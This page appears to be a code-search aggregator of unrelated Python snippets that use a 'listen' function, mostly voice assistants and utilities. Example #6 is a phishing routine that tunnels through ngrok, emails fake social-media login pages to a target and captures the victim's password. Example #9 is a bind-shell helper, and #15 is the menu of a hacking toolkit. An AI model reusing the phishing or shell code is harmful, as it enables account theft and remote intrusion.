예제 #1
0
def emailer():
    al="Sounds/To-whom-do-you-want-to-send-an1620499811.mp3"
    os.system("play "+al+" tempo 1.1")
    rec=listen().lower()
    for i in range(1):
        if "don't send" in rec or "stop" in rec or "no don't send" in rec:
            ok="Sounds/Okay1620499210.mp3"
            os.system("play "+ok+" tempo 1.1")
            break
        
    else:
        try:
            em=contacts(str(rec))
            print(em)
        except KeyError:
            sorry="Sounds/SorryI-could-not-find-the-cont1620499348.mp3"
            os.system("play "+sorry+" tempo 1.1")
            emailer()
        else:
            sorry="Sounds/Andwhat-is-the-message1620499422.mp3"
            os.system("play "+sorry+" tempo 1.1")
            m=listen().lower()
            semail="Sounds/AlrightI-am-sending-the-email1620499479.mp3"
            os.system("play "+semail+" tempo 1.1")
            mailer(str(em),m)
예제 #2
0
    def __choose_article(self):
        possible_answers = []
        index = 0

        speak_and_print("Which one of the following do you mean?")

        # print the index and the name of each article in possible_articles list
        for article in self.possible_articles:
            print("{key} -> {value}".format(key=str(index + 1), value=article))
            possible_answers.insert(index, article)
            index += 1

        speak_and_print("Which one?")

        user_response = listen()

        article_index = -1

        while article_index == -1:
            for index, possible_answer in enumerate(possible_answers):
                if fuzzy_comp(possible_answer, user_response):
                    article_index = index
                    return article_index
            user_response = listen()
            if user_response is None:
                continue
예제 #3
0
파일: logfire.py 프로젝트: jay3sh/logfire
def main():
  parser = ArgumentParser(prog='logfire', usage='%(prog)s [options]')

  parser.add_argument('--listen',
    help="Listen for log messages published on Redis channel 'logfire'",
    nargs='?', default=False, const=True)
  parser.add_argument('--serve',
    help="Run HTTP server to analyze logs from browser",
    nargs='?', default=False, const=True)
  parser.add_argument('--tail',
    help="Tail logs",
    nargs='?', default=False, const=True)
  parser.add_argument('--mongohost',
    help="hostname:port for MongoDB")

  parser.add_argument('-p','--port', help="Port for --serve",
    type=int, default=7095)
  parser.add_argument('--comp', help="Component filter for --tail")

  parser.add_argument('--cookiesecret',
    help="Cookie secret if authentication is enabled")
  parser.add_argument('--authgmaillist',
    help="Comma separated list of gmail accounts authorized to access")

  args = parser.parse_args()

  if args.listen:
    listen(args)
  elif args.serve:
    serve(args)
  elif args.tail:
    tail(args)
  else:
    parser.print_help()
예제 #4
0
 def connect(self):
     """Connect node to group network"""
     broadcast(
         "Connect", 
         self.connection, 
         self.network
     )
     
     listen(self.address, self.connection, self.message_handler)
예제 #5
0
def main():
    # input flags for this program
    parser = OptionParser()
    parser.add_option("-m",
                      "--message",
                      action="store_true",
                      dest="encode_message",
                      default=True,
                      help="encode a message from the command line")
    parser.add_option("-e",
                      "--encode",
                      dest="encode_file",
                      help="text file to with message to encode and send")
    parser.add_option("-o",
                      "--output",
                      dest="output_file",
                      help="output file with encoded audio")
    parser.add_option("-d",
                      "--decode",
                      dest="decode_file",
                      help="wav file to decode")
    parser.add_option("-p",
                      "--play",
                      action="store_true",
                      dest="play_audio",
                      default=False,
                      help="play audio after encoding text message")
    parser.add_option("-l",
                      "--listen",
                      action="store_true",
                      dest="listen",
                      default=False,
                      help="listen for audio signal and decode")
    options, args = parser.parse_args()

    if options.encode_file:
        output_file = options.output_file if options.output_file else 'output.wav'
        encode(options.encode_file, output_file)
        if options.play_audio:
            play_audio(output_file)
    elif options.listen:
        return listen()
    elif options.decode_file:
        decode(options.decode_file)
    elif options.encode_message:
        message = raw_input("Type your message: ")
        output_file = "output.wav"
        text_file = open("temp.txt", "w")
        text_file.write(message)
        text_file.close()
        encode("temp.txt", output_file)
        print "* * done! Your audio file is available at 'output.wav'."
        if options.play_audio:
            play_audio(output_file)
    else:
        parser.print_help()
    return
예제 #6
0
def start(port: int, media, username, mail, toMail, mailPassword):
    http_tunnel = ngrok.connect(port, "http")
    ngrok_process = ngrok.get_ngrok_process()
    url = str(http_tunnel.public_url)
    print(url)
    html = ""
    if media == "Instagram":
        html = medya.Instagram(username, url).content()
    elif media == "Facebook":
        html = medya.Facebook(username, url).content()
    elif media == "Twitter":
        html = medya.Twitter(username, url).content()
    else:
        print("Hatalı medya")

    sendmail.send(mail, toMail, mailPassword, html, media=media)

    print("email başarıyla gönderildi")
    os.system(f"start python3 cherry.py {media} {port}")
    print("server başlatıldı")
    print("Hedef dinlemede")
    listen.listen(username).getPassword()

    ngrok_process.proc.wait()
예제 #7
0
#!/usr/bin/env python3
from listen import listen

if __name__ == "__main__":
    listen()

else:
    raise ImportError("You should not use this file as a lib")
예제 #8
0
            auxiliary_functions.send_message(message)
            # message.add_to_queue()
    open("master alive", 'w').write("T")
    pid = os.fork()
    if pid is 0:
        auxiliary_functions.send_messages(devices)
        devices = scan()
        listen.start_sense(devices)
        os._exit(0)
    return devices

# check if this devices is the master in our network
def i_am__the_master():
    if auxiliary_functions.my_ip_address() == devices[0].ip:
        return True
    return False


# =======        MAIN           ========
if __name__ == '__main__':
    if not auxiliary_functions.file_exist(MESSAGE_QUEUE_FILE):
        open(MESSAGE_QUEUE_FILE,"w")
    scan()
    pid = os.fork()
    if pid is 0:
        listen.start_sense(devices)
        os._exit(0)
    else:
        listen.listen(devices, pid)

예제 #9
0
def bindshell(port):
    """Args: port
    Standard bind shell."""
    return listen(port), dupsh()
예제 #10
0
파일: main.py 프로젝트: egepaksoy/python
import speak
import listen
import substructure
import info
import program

#! DİKKAT: Ses motorunda gtts çok yavaş oyüzden başka birşey araştır

while True:
    voice = listen.listen()
    print('\n' + voice)
    print(speak.speak(program.program(voice)))
예제 #11
0
 def listen():
     query = listen.listen()
     return query
예제 #12
0
kernel.learn("std-startup.xml")
kernel.respond("LOAD AIML B")

workers = []
workers.append(FM())
workers.append(Clock())
workers.append(Joker())
##workers.append(Weather())

statue = 'wait' #chat work wait

# Press CTRL-C to break this loop
while True:
    #waiting for wake up ,wake up then pause app
    if statue == 'wait' or statue == 'work' :
        wake_str = listen.listen()
        if wake_str == '旺财':
            speak.speak("小的在")
            statue = 'chat'
    
    
    #listening
    if statue == 'chat':
        input_str = listen.listen()
        respond_str = kernel.respond(input_str)
        #(status, output) = commands.getstatusoutput('espeak -vzh "'+ speak + '"')
        speak.speak(respond_str)
    
    #working ,no listen
    if statue == 'chat' :
        for w in workers:
예제 #13
0
    def run(self):
        import listen

        for cb in self.callbacks.keys():
            listen.add_handler(cb, self.callback)
        listen.listen()
예제 #14
0
파일: main.py 프로젝트: GeoVa19/PyAssistant
help.read_help_file()

if os.path.isfile(BRAIN_FILE):
    kernel.bootstrap(brainFile=BRAIN_FILE)
else:
    kernel.bootstrap(learnFiles=STARTUP_XML_FILE_NAME, commands="load aiml b")
    kernel.saveBrain(BRAIN_FILE)
    welcome()
    help.print_help()

autosave = Autosave(kernel)  # initialize autosave object

py_dictionary_list = ["meaning", "synonym", "antonym"]

while True:
    message = listen()  # get user's query
    bot_response = None

    if message is not None:
        is_wikipedia_query = is_wikipedia_search(message)
        is_translation_query = fuzzy_comp(message.split()[0], "translate")
        is_nearest_places_query = "nearest" in message.lower()

        if fuzzy_comp(message, "goodbye"):
            goodbye()
        elif fuzzy_comp(message, "I need some help"):
            help.print_help()
        elif find(message, py_dictionary_list):
            bot_response = py_dictionary_utils(message)
        elif is_wikipedia_query:
            wikipedia = Wikipedia(message)
예제 #15
0
        exit('%s[!]%s Invalid Options.' % (R, N))
elif self.asw == '11':
    from data import bot
    bot.bot()
    self.backk()
elif self.asw == '12':
    from data import yahoo_clone
    yahoo_clone.clon()
    self.backk()
elif self.asw == '13':
    from data import app_check
    app_check.apps()
    self.backk()
elif self.asw == '14':
    from data import listen
    listen.listen()
elif self.asw == '15':
    print '[%s#%s] Updating Asu Toolkit ...' % (G, N)
    os.system('git pull')
    print '%s[%s**%s]%s Asu was updated. \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf' % (G, R, G, N)
elif self.asw == '16':
    exit('%s[%s*%s%s]%s Bye \xc2\xaf\\_(\xe3\x83\x84)_/\xc2\xaf' % (C, R, N, C, N))
elif self.asw == 'move':
    os.remove('config/config.json')
    os.removedirs('config')
    login()
elif self.asw == 'banner':
    ASU()
elif self.asw == '0' or self.asw == '00':
    from data import inf
    inf.buddy()
elif self.asw == '17':